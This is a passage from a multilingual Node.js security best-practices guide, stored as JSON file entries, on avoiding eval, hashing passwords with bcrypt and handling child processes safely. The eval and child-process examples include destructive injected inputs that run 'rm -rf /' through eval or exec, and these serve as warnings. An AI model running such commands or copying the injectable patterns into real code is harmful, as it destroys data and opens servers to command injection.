    "content": "# Éviter les déclarations d'évaluation de JS\n\n### Un paragraphe d'explication\n\n`eval()`, `setTimeout()`, `setInterval()`, et `new Function()` sont des fonctions globales, souvent utilisées dans Node.js, qui acceptent comme paramètre une châine de caractères représentant une expression Javascript, une déclaration ou une suite de déclarations. Le problème de sécurité que pose ces fonctionnalités est la possibilité que les entrées d'un utilisateur non fiable se retrouvent dans le code exécuté, ce qui pourrait compromettre le serveur, l'évaluation du code permettant essentiellement à un attaquant d'effectuer toutes les actions possibles. Il est suggéré de refactoriser le code pour ne pas se fier à ces fonctions où les entrées de l'utilisateur pourraient y être passées et exécutées.\n\n### Exemple de code\n\n```javascript\n// exemple d'un code malicieux qui permettait à un attaquant d'entrer\nconst userInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\n\n// code malicieux exécuté\neval(userInput);\n```\n\n### Ce que disent les autres blogueurs\n\nExtrait du livre « Essential Node.js Security » de [Liran Tal](https://leanpub.com/nodejssecurity):\n> La fonction eval() est peut-être l'une des plus mal vues dans JavaScript du point de vue de la sécurité. Elle analyse une chaîne de caractère JavaScript comme du texte, et l'exécute comme si c'était du code JavaScript. En mélangeant cela avec des entrées d'utilisateurs non fiables qui pourraient trouver un moyen d'accéder à la fonction eval(), on obtient la recette d'un désastre qui peut finir par compromettre le serveur.\n"
  },
  {
    "path": "sections/security/avoideval.japanese.md",
    "content": "# JavaScript の eval 構文を避ける\r\n\r\n### 一段落説明\r\n\r\n`eval()`、`setTimeout()`、`setInterval()`、そして `new Function()` は Node.js でしばしば利用される、JavaScript の式、文そして連続した文を表す文字列パラメータを受け取るグローバル関数です。これらの関数を利用することをセキュリティ的な懸念は、ユーザーのコードを評価することは本質的には攻撃者にあらゆるアクションを実行することを許すことなので、信頼されていないユーザーの入力がコード実行の中に入り込み、サーバーを危険にさらす可能性があるということです。ユーザーの入力が渡されて実行されるような関数の利用に依存しないようにコードをリファクタすることが推奨されています。\r\n\r\n### コード例\r\n\r\n```javascript\r\n// 攻撃者が入力できる悪意のあるコードの例\r\nconst userInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\r\n\r\n// 悪意のあるコードが実行される\r\neval(userInput);\r\n```\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[Liran Tal](https://leanpub.com/nodejssecurity) による書籍 Essential Node.js Security より:\r\n> セキュリティの観点から見ると、eval() 関数はおそらく JavaScript の中でもっとも忌み嫌われている部分でしょう。\r\n> それは JavaScript の文字列をテキストにパースし、まるで JavaScript コードのように実行します。\r\n> これを、eval() へ渡されることが分かっているかもしれない信頼されていないユーザー入力と混ぜることは、サーバーを危険にさらすことになる、崩壊へのレシピといえるでしょう。\r\n"
  },
  {
    "path": "sections/security/avoideval.md",
    "content": "# Avoid JS eval statements\r\n\r\n### One Paragraph Explainer\r\n\r\n`eval()`, `setTimeout()`, `setInterval()`, and `new Function()` are global functions, often used in Node.js, which accept a string parameter representing a JavaScript expression, statement, or sequence of statements. The security concern of using these functions is the possibility that untrusted user input might find its way into code execution leading to server compromise, as evaluating user code essentially allows an attacker to perform any actions that you can. It is suggested to refactor code to not rely on the usage of these functions where user input could be passed to the function and executed.\r\n\r\n### Code example\r\n\r\n```javascript\r\n// example of malicious code which an attacker was able to input\r\nconst userInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\r\n\r\n// malicious code executed\r\neval(userInput);\r\n```\r\n\r\n### What other bloggers say\r\n\r\nFrom the Essential Node.js Security book by [Liran Tal](https://leanpub.com/nodejssecurity):\r\n> The eval() function is perhaps of the most frowned upon JavaScript pieces from a security\r\nperspective. It parses a JavaScript string as text, and executes it as if it were a JavaScript code.\r\nMixing that with untrusted user input that might find it’s way to eval() is a recipe for disaster that\r\ncan end up with server compromise.\r\n"
  },
  {
    "path": "sections/security/avoideval.polish.md",
    "content": "# Unikaj JS eval statements\n\n### Wyjaśnienie jednym akapitem\n\n`eval()`, `setTimeout()`, `setInterval()`, i `new Function()` są funkcjami globalnymi, często używanymi w Node.js, które akceptują parametr ciągu znaków reprezentujący wyrażenie JavaScript, instrukcję lub sekwencję instrukcji. Problemem związanym z bezpieczeństwem korzystania z tych funkcji jest możliwość, że niezaufane dane wejściowe użytkownika mogą znaleźć drogę do wykonania kodu prowadzącego do naruszenia bezpieczeństwa serwera, ponieważ ocena kodu użytkownika zasadniczo pozwala atakującemu na wykonanie dowolnych działań. Sugeruje się, aby kod refaktoryzować, aby nie polegał na użyciu tych funkcji, w których dane wejściowe użytkownika mogą być przekazywane do funkcji i wykonywane.\n\n### Przykład kodu\n\n```javascript\n// example of malicious code which an attacker was able to input\nconst userInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\n\n// malicious code executed\neval(userInput);\n```\n\n### Co mówią inni blogerzy\n\nZ książki Essential Node.js Security od [Liran Tal](https://leanpub.com/nodejssecurity):\n> The eval() function is perhaps of the most frowned upon JavaScript pieces from a security\nperspective. It parses a JavaScript string as text, and executes it as if it were a JavaScript code.\nMixing that with untrusted user input that might find it’s way to eval() is a recipe for disaster that\ncan end up with server compromise.\n"
  },
  {
    "path": "sections/security/avoideval.russian.md",
    "content": "# Избегайте JavaScript eval утверждений\r\n\r\n### Объяснение в один абзац\r\n\r\n`eval()`, `setTimeout()`, `setInterval()` и `new Function()` являются глобальными функциями, часто используемыми в Node.js, которые принимают строковый параметр, представляющий выражение, инструкцию или последовательность JavaScript инструкций. Забота о безопасности при использовании этих функций - это вероятность того, что ненадежный пользовательский ввод может найти свое место в выполнении кода, что приведет к компрометации сервера, поскольку оценка пользовательского кода, по сути, позволяет злоумышленнику выполнять любые действия, которые вы можете. Рекомендуется реорганизовать код, чтобы не полагаться на использование этих функций, когда пользовательский ввод может быть передан в функцию и выполнен.\r\n\r\n### Пример кода\r\n\r\n```javascript\r\n// example of malicious code which an attacker was able to input\r\nconst userInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\r\n\r\n// malicious code executed\r\neval(userInput);\r\n```\r\n\r\n### Что говорят другие блогеры\r\n\r\nИз книги Essential Node.js Security [Liran Tal](https://leanpub.com/nodejssecurity):\r\n> Функция eval(), пожалуй, самая неодобрительная с точки зрения безопасности с точки зрения JavaScript. Он анализирует строку JavaScript как текст и выполняет ее, как если бы это был код JavaScript.\r\nСочетание этого с ненадежным пользовательским вводом, который может найти путь к eval(), - это рецепт катастрофы, которая может привести к компрометации сервера\r\n"
  },
  {
    "path": "sections/security/bcryptpasswords.brazilian-portuguese.md",
    "content": "# Evite usar a biblioteca de criptografia do Node.js para manipular senhas, use Bcrypt\r\n\r\n### Explicação em um Parágrafo\r\n\r\nAo armazenar senhas de usuários, use um algoritmo hash adaptativo como o bcrypt, oferecido pelo [módulo bcrypt npm](https://www.npmjs.com/package/bcrypt) é recomendado em vez de usar o módulo de criptografia Node.js nativo. `Math.random ()` também nunca deve ser usado como parte de qualquer senha ou geração de token devido à sua previsibilidade.\r\n\r\nO módulo `bcrypt` ou similar deve ser usado ao contrário da implementação JavaScript, pois quando se usa `bcrypt`, um número de 'rounds' pode ser especificado para fornecer um hash seguro. Isso define o fator de trabalho ou o número de 'rounds' pelos quais os dados são processados, e mais rounds de hash levam a hash mais seguro (embora isso custe tempo de CPU). A introdução de hash rounds significa que o fator de força bruta é reduzido significativamente, pois os crackers de senha são retardados, aumentando o tempo necessário para gerar uma tentativa.\r\n\r\n### Exemplo de Código\r\n\r\n```javascript\r\n// gerando uma senha segura assincronamente usando 10 rodadas de hash\r\nbcrypt.hash('myPassword', 10, function(err, hash) {\r\n  // Armazenar hash segura no registro do usuário\r\n});\r\n\r\n// comparar uma entrada de senha fornecida com o hash salvo\r\nbcrypt.compare('somePassword', hash, function(err, match) {\r\n  if(match) {\r\n   // Senhas conferem\r\n  } else {\r\n   // Senhas não conferem\r\n  } \r\n});\r\n```\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog de [Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):\r\n> ... não é só usar apenas o algoritmo hash correto. Falei extensivamente sobre como a ferramenta certa também inclui o ingrediente necessário de \"tempo\" como parte do algoritmo de hash de senha e o que significa para o invasor que está tentando decifrar senhas por meio de força bruta.\r\n"
  },
  {
    "path": "sections/security/bcryptpasswords.chinese.md",
    "content": "# 对于密码，避免使用Node.js的Crypto库，使用Bcrypt\n\n### 一段解释\n\n当存储用户密码的时候，建议使用[bcrypt npm module](https://www.npmjs.com/package/bcrypt)提供的自适应哈希算法bcrypt，而不是使用Node.js的crypto模块。由于`Math.random()`的可预测性，它也不应该作为密码或者令牌生成的一部分。\n\n相较于JavaScript实现，`bcrypt`或者类似的模块应该被使用。当使用`bcrypt`时，可以指定相应数量的回合数（rounds），以提供安全的哈希。这将设置work factor或者用于数据处理的回合次数，而更多的哈希回合次数导致更安全的哈希值（尽管这是CPU耗时的代价）。哈希回合（hashing rounds）的引入意味着蛮力因子会显著降低, 因此密码破解会减慢, 从而增加产生一次尝试所需的时间。\n\n### 代码示例\n\n```javascript\n// 使用10个哈希回合异步生成安全密码\nbcrypt.hash('myPassword', 10, function(err, hash) {\n  // 在用户记录中存储安全哈希\n});\n\n// 将提供的密码输入与已保存的哈希进行比较\nbcrypt.compare('somePassword', hash, function(err, match) {\n  if(match) {\n   // 密码匹配\n  } else {\n   // 密码不匹配\n  } \n});\n```\n\n### 其他博客作者的说法\n\n摘自博客[Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):\n> ... 它不只是使用正确的哈希算法。我已经广泛讨论了正确的工具，包括必要的成分\"时间\"，如何作为密码哈希算法的一部分, 以及它对于试图通过蛮力破解密码的攻击者，意味着什么。\n"
  },
  {
    "path": "sections/security/bcryptpasswords.japanese.md",
    "content": "# パスワードの処理に Node.js の crypto ライブラリではなく Bcrypt を利用する\r\n\r\n### 一段落説明\r\n\r\nユーザーのパスワードを保存する際には、ネイティブの Node.js crypto モジュールを使用するのではなく、[bcrypt npm モジュール](https://www.npmjs.com/package/bcrypt)が提供するbcrypt のような、適応性のあるハッシュアルゴリズムを使用することをおすすめします。`Math.random()` は予測可能性があるため、パスワードやトークン生成の一部としては決して使用しないでください。\r\n\r\nJavaScript の実装ではなく、`bcrypt` モジュールなどを使用しなければなりません。`bcrypt` を使う場合、安全なハッシュを提供するために 'ラウンド数' を指定することができます。これはワークファクターもしくはデータが処理される回数を指定し、ハッシュのラウンド数が増えるほど、より安全なハッシュが算出されます（ただし、CPU 計算時間のコストがかかります）。ハッシュラウンドの導入は、1回試行するために必要な時間を増加させることでパスワードクラッカーが減速されるため、ブルートフォース要因が大幅に削減されることを意味します。\r\n\r\n### コード例\r\n\r\n```javascript\r\ntry {\r\n// 10回のハッシュラウンドを設定して、非同期にセキュアなパスワードを生成する\r\n  const hash = await bcrypt.hash('myPassword', 10);\r\n  // セキュアなハッシュをユーザレコードに保存する\r\n\r\n  // 与えられたパスワード入力を保存されたハッシュと比較する\r\n  const match = await bcrypt.compare('somePassword', hash);\r\n  if (match) {\r\n   // パスワードが合致した場合\r\n  } else {\r\n   // パスワードが合致しなかった場合\r\n  } \r\n} catch {\r\n  logger.error('could not hash password.')\r\n}\r\n```\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt) のブログより:\r\n> ... 正しいハッシュアルゴリズムを使うだけではありません。正しいツールがパスワードハッシュアルゴリズムの一部として 「時間」という必要不可欠な要素を含んでいることと、それがブルートフォースでパスワードを解読しようとしている攻撃者にとって何を意味するのかについて、広範囲にわたって話してきました。\r\n"
  },
  {
    "path": "sections/security/bcryptpasswords.polish.md",
    "content": "# Unikaj używania biblioteki Crypto Node.js dla haseł, używaj Bcrypt\n\n### Wyjaśnienie jednym akapitem\n\nPodczas przechowywania haseł użytkowników zalecane jest użycie adaptacyjnego algorytmu haszującego, takiego jak bcrypt, oferowanego przez [bcrypt npm module](https://www.npmjs.com/package/bcrypt), w przeciwieństwie do korzystania z natywnego modułu kryptograficznego Node.js . `Math.random ()` również nie powinien być nigdy używany jako część generowania haseł lub tokenów ze względu na jego przewidywalność.\n\nModuł `bcrypt` lub podobny powinien być używany w przeciwieństwie do implementacji JavaScript, ponieważ podczas korzystania z `bcrypt` można określić kilka „rund” w celu zapewnienia bezpiecznego skrótu. Określa współczynnik pracy lub liczbę „rund”, dla których przetwarzane są dane, a więcej rund mieszających prowadzi do bezpieczniejszego skrótu (chociaż odbywa się to kosztem czasu procesora). Wprowadzenie rund mieszających oznacza, że czynnik brute force jest znacznie zmniejszony, ponieważ łamacze haseł są spowalniane, co zwiększa czas wymagany do wygenerowania jednej próby.\n\n### Przykład kodu\n\n```javascript\ntry {\n// asynchronously generate a secure password using 10 hashing rounds\n  const hash = await bcrypt.hash('myPassword', 10);\n  // Store secure hash in user record\n\n  // compare a provided password input with saved hash\n  const match = await bcrypt.compare('somePassword', hash);\n  if (match) {\n   // Passwords match\n  } else {\n   // Passwords don't match\n  } \n} catch {\n  logger.error('could not hash password.')\n}\n```\n\n### Co inni blogerzy mówią\n\nZ bloga od [Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):\n> ... it’s not just using the right hashing algorithm. I’ve talked extensively about how the right tool also includes the necessary ingredient of “time” as part of the password hashing algorithm and what it means for the attacker who’s trying to crack passwords through brute-force.\n"
  },
  {
    "path": "sections/security/bcryptpasswords.russian.md",
    "content": "# Не используйте криптографическую библиотеку Node.js для паролей, используйте Bcrypt\r\n\r\n### Объяснение в один абзац\r\n\r\nПри хранении паролей пользователей рекомендуется использовать адаптивный алгоритм хеширования, такой как bcrypt, предлагаемый [bcrypt npm module](https://www.npmjs.com/package/bcrypt), а не использовать собственный криптографический модуль Node.js. , `Math.random()` также никогда не следует использовать как часть генерации пароля или токена из-за его предсказуемости.\r\n\r\nМодуль `bcrypt` или аналогичный ему следует использовать в отличие от реализации JavaScript, так как при использовании `bcrypt` можно указать несколько \"раундов\" для обеспечения безопасного хэша. Это устанавливает коэффициент работы или количество \"раундов\", для которых обрабатываются данные, и большее количество циклов хеширования приводит к более безопасному хэшированию (хотя это и происходит за счет процессорного времени). Введение циклов хеширования означает, что коэффициент грубой силы значительно уменьшается, поскольку взломщики паролей замедляются, увеличивая время, необходимое для генерации одной попытки.\r\n\r\n### Пример кода\r\n\r\n```javascript\r\ntry {\r\n// asynchronously generate a secure password using 10 hashing rounds\r\n  const hash = await bcrypt.hash('myPassword', 10);\r\n  // Store secure hash in user record\r\n\r\n  // compare a provided password input with saved hash\r\n  const match = await bcrypt.compare('somePassword', hash);\r\n  if (match) {\r\n   // Passwords match\r\n  } else {\r\n   // Passwords don't match\r\n  } \r\n} catch {\r\n  logger.error('could not hash password.')\r\n}\r\n```\r\n\r\n### Что говорят другие блогеры\r\n\r\nИз блога [Max McCarty](https://dzone.com/articles/nodejs-and-password-storage-with-bcrypt):\r\n> ... это не просто использование правильного алгоритма хеширования. Я много говорил о том, что правильный инструмент также включает в себя необходимый компонент \"время\" как часть алгоритма хеширования паролей и что это значит для злоумышленника, который пытается взломать пароли с помощью грубой силы.\r\n"
  },
  {
    "path": "sections/security/childprocesses.basque.md",
    "content": "# Kontuz ibili bigarren mailako prozesuekin lan egitean\r\n\r\n### Azalpena\r\n\r\nBigarren mailako prozesuak oso erabilgarriak izan badaitezke ere, kontuz erabili behar da haiekin. Izan ere, erabiltzaileen sarrera desinfektatu egin behar da, edo, bestela, guztiz baztertu beharra dago. Mugagabeak dira sistemako logika egikaritzen duten desinfektatu gabeko sarreren arriskuak: norbaitek kodea urrunetik egikaritzea suertatu daiteke, sistemaren datu sentikorrak agerian jartzea gerta daiteke, eta datuak galtzerainoko arazoak gerta daitezke ere. Itxura hau izan dezake prestaketen egiaztapen zerrendak:\r\n\r\n- eragotzi erabiltzailearen sarrera kasu guztietan, bestela balioztatu eta saneatu\r\n- guraso eta seme-alaben prozesuen pribilegioak mugatu erabiltzaile/talde identitateak erabiliz\r\n- exekutatu zure prozesua ingurune isolatu baten barruan, nahi ez dituzun bigarren mailako ondorioak ekiditeko beste prestaketek huts egiten badute ere\r\n\r\n### Kode adibidea: desinfektatu gabeko bigarren mailako prozesuen exekuzioen arriskuak\r\n\r\n```javascript\r\nconst { exec } = require('child_process');\r\n\r\n...\r\n\r\n// adibide gisa, bi argudio hartzen dituen scripta hartu, bietako bat garbitu gabeko erabiltzaile sarrera delarik\r\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\r\n\r\n// -> imaginatu zer gertatuko litzatekeen erabiltzaileak '&& rm -rf --no-preserve-root /' bezalako zerbait idatziz gero\r\n// espero gabeko sorpresa hartuko zenuke\r\n```\r\n\r\n### Baliabide osagarriak\r\n\r\nNode.js bigarren mailako prozesuaren [dokumentazioa](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback):\r\n\r\n> Ez inoiz pasatu erabiltzaile sarrerarik funtzio honetara higienizatu gabe. Shell metakarakereak duen edozein sarrera erabil daiteke komando arbitrarioen exekuzioa abiarazteko.\r\n"
  },
  {
    "path": "sections/security/childprocesses.brazilian-portuguese.md",
    "content": "# Tome cuidado extra ao trabalhar com processos filhos\r\n\r\n### Explicação em um Parágrafo\r\n\r\nPor melhores que sejam os processos filhos, eles devem ser usados ​​com cautela. A transmissão da entrada do usuário deve ser higienizada, se não completamente evitada.\r\nOs perigos de entradas não analisadas executando em nível de lógica de sistema são ilimitados, alcançando desde a execução remota de código até a exposição de dados confidenciais do sistema e até mesmo perda de dados. Uma lista de verificação de preparações pode ser algo do tipo:\r\n- evite a entrada do usuário em todos os casos, senão, valide e limpe-a\r\n- limitar os privilégios dos processos pai e filhos usando identidades de usuário/grupo\r\n- execute o seu processo dentro de um ambiente isolado para evitar efeitos colaterais indesejados se as outras preparações falharem\r\n\r\n### Exemplo de código: perigos de execuções de processos de filho não-analizados\r\n\r\n```javascript\r\nconst { exec } = require('child_process');\r\n\r\n...\r\n\r\n// por exemplo, pegue um script que receba dois argumentos, um deles é uma entrada do usuário não-analizada\r\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\r\n\r\n// -> imagine o que poderia acontecer se o usuário simplesmente inserisse algo como '&& rm -rf --no-preserve-root /'\r\n// você teria uma surpresa indesejada\r\n```\r\n\r\n### Recursos Adicionais\r\n\r\nDa [documentation](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback) do Node.js sobre processos filhos:\r\n\r\n> Nunca passe a entrada de usuário não-analizada para esta função. Qualquer entrada contendo metacaracteres de shell pode ser usada para disparar a execução arbitrária de comandos.\r\n"
  },
  {
    "path": "sections/security/childprocesses.chinese.md",
    "content": "# 处理子进程时要谨慎\n\n### 一段解释\n\n尽管子进程非常棒, 但使用它们应该谨慎。如果无法避免传递用户输入，就必须经过脱敏处理。\n未经脱敏处理的输入执行系统级逻辑的危险是无限的, 从远程代码执行到暴露敏感的系统数据, 甚至数据丢失。准备工作的检查清单可能是这样的\n\n- 避免在每一种情况下的用户输入, 否则验证和脱敏处理\n- 使用user/group标识限制父进程和子进程的权限\n- 在隔离环境中运行进程, 以防止在其他准备工作失败时产生不必要的副作用\n\n### 代码示例: 未脱敏处理子进程的危害\n\n```javascript\nconst { exec } = require('child_process');\n\n...\n\n// 例如, 以一个脚本为例, 它采用两个参数, 其中一个参数是未经脱敏处理的用户输入\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\n\n// -> 想象一下, 如果用户只是输入'&& rm -rf --no-preserve-root /'类似的东西, 会发生什么\n// 你会得到一个不想要的结果\n```\n\n### 额外资源\n\n摘自Node.js child process [documentation](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback):\n\n> 切勿将未经脱敏处理的用户输入传递给此函数。任何包含shell元字符（metacharacters）的输入都可用于触发任意命令的执行。\n"
  },
  {
    "path": "sections/security/childprocesses.french.md",
    "content": "# Soyez prudent lorsque vous travaillez avec des processus enfants\n\n### Un paragraphe d'explication\n\nAussi importants que soient les processus enfants, ils doivent être utilisés avec prudence. Les entrées des utilisateurs qui y sont passées doivent être assainies (NdT *sanitize*), voire évitées. \nLes dangers d'une entrée non assainie exécutant une logique au niveau du système sont illimités, allant de l'exécution de code à distance à l'exposition de données système sensibles et aussi de perte de données.\nUne liste de contrôle des préparatifs pourrait ressembler à ceci : \n\n- éviter les entrées des utilisateurs dans tous les cas, autrement les valider et les assainir \n- limiter les privilèges du parent et des processus enfants en utilisant les identités de groupe et d'utilisateur\n- exécuter votre processus dans un environnement isolé pour prévenir des effets secondaires indésirables si les autres préparations échouent\n\n### Exemple de code : Les dangers de l'exécution de processus enfants non assainis\n\n```javascript\nconst { exec } = require('child_process');\n\n...\n\n// comme exemple, prenons un script qui prend deux arguments, l'un d'entre eux est une entrée utilisateur non assainie\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\n\n// -> imaginez ce qu'il se passerait si un utilisateur entrait simplement quelque chose comme '&& rm -rf --no-preserve-root /'\n// vous auriez une surprise indésirable\n```\n\n### Ressources supplémentaires\n\nExtrait de la [documentation](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback) Node.js sur les processus enfants :\n\n> Ne jamais passer une entrée utilisateur non assainie à cette fonction. Toute entrée comportant des métacaractères du shell peut être utilisée pour déclencher une commande arbitrairement "
  },
  {
    "path": "sections/security/childprocesses.japanese.md",
    "content": "# 子プロセスで処理を行う場合は注意する\r\n\r\n### 一段落説明\r\n\r\n子プロセスは素晴らしいものですが、注意して使用する必要があります。ユーザー入力の受け渡しは、利用しないのでなければ、サニタイズされていなければなりません。サニタイズされていない入力がシステムレベルのロジックを実行する危険性は無限にあり、リモートコードの実行からセンシティブなシステムデータの漏洩、そしてデータ損失にまで及びます。準備のためのチェックリストは以下のようになります。\r\n\r\n- すべての場合でユーザー入力を避け、そうでない場合は検証とサニタイズを行う\r\n- ユーザー/グループアイデンティを利用して、親プロセスと子プロセスの権限を制限する\r\n- 上記が機能しなかった場合の望まない副作用を防ぐために、プロセスを隔離された環境で実行する\r\n\r\n### コード例: サニタイズされていない子プロセス実行の危険性\r\n\r\n```javascript\r\nconst { exec } = require('child_process');\r\n\r\n...\r\n\r\n// 例として、2つのうち1つがサニタイズされていないユーザー入力であるスクリプトを考えてみましょう\r\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\r\n\r\n// -> ユーザー入力が '&& rm -rf --no-preserve-root /' だった場合に、何が起こるか想像してみてください\r\n// 望まない結果に驚くことでしょう\r\n```\r\n\r\n### その他のリソース\r\n\r\nNode.js child process の[ドキュメント](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback) より:\r\n\r\n> サニタイズされていないユーザー入力をこの関数に決して渡さないでください。シェルのメタ文字を含んでいるどんな入力も、任意のコマンド実行を引き起こすために利用される可能性があります。\r\n"
  },
  {
    "path": "sections/security/childprocesses.md",
    "content": "# Be cautious when working with child processes\r\n\r\n### One Paragraph Explainer\r\n\r\nAs great as child processes are, they should be used with caution. Passing in user input must be sanitized, if not avoided at all.\r\nThe dangers of unsanitized input executing system-level logic are unlimited, reaching from remote code execution to the exposure of\r\nsensitive system data and even data loss. A check list of preparations could look like this\r\n\r\n- avoid user input in every case, otherwise validate and sanitize it\r\n- limit the privileges of the parent and child processes using user/group identities\r\n- run your process inside of an isolated environment to prevent unwanted side-effects if the other preparations fail\r\n\r\n### Code example: Dangers of unsanitized child process executions\r\n\r\n```javascript\r\nconst { exec } = require('child_process');\r\n\r\n...\r\n\r\n// as an example, take a script that takes two arguments, one of them is unsanitized user input\r\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\r\n\r\n// -> imagine what could happen if the user simply enters something like '&& rm -rf --no-preserve-root /'\r\n// you'd be in for an unwanted surprise\r\n```\r\n\r\n### Additional resources\r\n\r\nFrom the Node.js child process [documentation](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback):\r\n\r\n> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.\r\n"
  },
  {
    "path": "sections/security/childprocesses.polish.md",
    "content": "# Zachowaj ostrożność podczas pracy z procesami potomnymi\n\n### Wyjaśnienie jednym akapitem\n\nNiezależnie od tego, jak wielkie są procesy potomne, należy ich używać ostrożnie. Przekazywanie danych wejściowych przez użytkownika musi być sanitized, jeśli w ogóle nie można go uniknąć.\nNiebezpieczeństwa związane z niezaangażowanym wejściem wykonującym logikę na poziomie systemu są nieograniczone, od zdalnego wykonania kodu po ujawnienie\nwrażliwych danych systemowych, a nawet utraty danych. Lista kontrolna przygotowań może wyglądać następująco\n\n- w każdym przypadku unikaj wprowadzania danych przez użytkownika, w przeciwnym razie waliduj i sanitize\n- ograniczenie uprawnień procesów nadrzędnych i podrzędnych przy użyciu tożsamości użytkowników / grup\n- uruchom proces w izolowanym środowisku, aby zapobiec niepożądanym skutkom ubocznym, jeśli inne przygotowania zawiodą\n\n### Przykład kodu: Dangers of unsanitized child process executions\n\n```javascript\nconst { exec } = require('child_process');\n\n...\n\n// as an example, take a script that takes two arguments, one of them is unsanitized user input\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\n\n// -> imagine what could happen if the user simply enters something like '&& rm -rf --no-preserve-root /'\n// you'd be in for an unwanted surprise\n```\n\n### Dodatkowe zasoby\n\nZ Node.js child process [documentation](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback):\n\n> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.\n"
  },
  {
    "path": "sections/security/childprocesses.russian.md",
    "content": "# Будьте осторожны при работе с дочерними процессами\r\n\r\n### Объяснение в один абзац\r\n\r\nКак бы ни были хороши дочерние процессы, их следует использовать с осторожностью. Передача пользовательского ввода должна быть очищена, если не предотвращена вообще.\r\nОпасности несанкционированного ввода, выполняющего системную логику, безграничны, начиная от удаленного выполнения кода и заканчивая раскрытием конфиденциальных системных данных и даже потерей данных. Контрольный список препаратов может выглядеть так\r\n\r\n- избегайте ввода пользователя в каждом случае, в противном случае проверьте и очистите его\r\n- ограничьте права родительского и дочернего процессов, используя идентификаторы пользователя/группы\r\n- запустить процесс внутри изолированной среды, чтобы предотвратить нежелательные побочные эффекты, если другие препараты не сработают\r\n\r\n### Пример кода: опасность выполнения несанированных дочерних процессов\r\n\r\n```javascript\r\nconst { exec } = require('child_process');\r\n\r\n...\r\n\r\n// as an example, take a script that takes two arguments, one of them is unsanitized user input\r\nexec('\"/path/to/test file/someScript.sh\" --someOption ' + input);\r\n\r\n// -> imagine what could happen if the user simply enters something like '&& rm -rf --no-preserve-root /'\r\n// you'd be in for an unwanted surprise\r\n```\r\n\r\n### Дополнительные ресурсы\r\n\r\nИз Node.js [документации](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback):\r\n\r\n> Никогда не передавайте необработанный пользовательский ввод в эту функцию. Любой ввод, содержащий метасимволы оболочки, может использоваться для запуска выполнения произвольной команды.\r\n"
  },
  {
    "path": "sections/security/commonsecuritybestpractices.basque.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\r\n\r\n# Node.jsren ohiko segurtasun praktika onak\r\n\r\nOhiko segurtasun praktiken atalak esparru eta konbentzio askotan estandarizatuta dauden praktika onak biltzen ditu. Adibidez, aplikazio bat exekutatzea SSL / TLS-rekin konfigurazio guztietan erabili beharko litzatekeen praktika eta konbentzio arrunta da, horrela segurtasun abantaila handiak lortuko lirateke eta.\r\n\r\n## ![✔] Erabili SSL / TLS bezeroen zerbitzariaren konexioa enkriptatzeko\r\n\r\n**TL; DR:** [doako SSL / TLS ziurtagirien](https://letsencrypt.org/) eta haien konfigurazio errazaren garaian, ez duzu zertan pisatu zerbitzari segurua erabiltzearen abantailak eta desabantailak, argi eta garbi gailentzen baitira segurtasuna, teknologia modernoaren laguntza eta konfiantza bezalako abantailak -gutxieneko gainkarga minimoa bezalako desabantailak edukita ere- HTTP hutsaren aldean.\r\n\r\n**Bestela:** erasotzaileek erdi-erdiko erasoak egin ditzakete, zure erabiltzaileen portaera zelatatu eta are ekintza maltzurragoak egin ditzakete konexioa enkriptatu gabe dagoenean.\r\n\r\n🔗 [**Informazio gehiago: Node.js zerbitzari segurua egikaritzea**](./secureserver.basque.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Balio sekretuak eta aztarnak modu seguruan alderatzea\r\n\r\n**TL; DR:** balio sekretuak edo aztarnak alderatzean HMAC laburpenak balira bezala, [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) funtzioa erabili beharko zenuke, Node.js v6.6.0 geroztik Nodek eskaintzen duena. Metodo horrek emandako bi objektu alderatzen ditu eta datuok alderatzen jarraitzen du bat ez badatoz ere. Datuak berdinak diren alderatzeko metodo lehenetsiak berez bueltatuko lirateke berriro, karakterrak bat etorriko ez balira, eta horrela eragiketaren iraupen luzeak  erasoak ahalbidetuko lituzke\r\n\r\n**Bestela:** datuak berdinak diren alderatzeko metodo lehenetsiak erabiltzen badituzu, informazio kritikoa agerian jar dezakezu, zenbatekoa den bi objektu alderatzeko behar den denbora.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] Ausazko kateak sortzea Node.js erabiliz\r\n\r\n**TL; DR:** tokenetarako (giltzak) eta segurtasunaren menpekoak diren beste kasu batzuetarako sasi ausazko kateak sortzen dituen funtzio pertsonalizatua erabiltzea ez da, agian, uste bezain ausazkoa izango, eta, ondorioz, zure aplikazioa 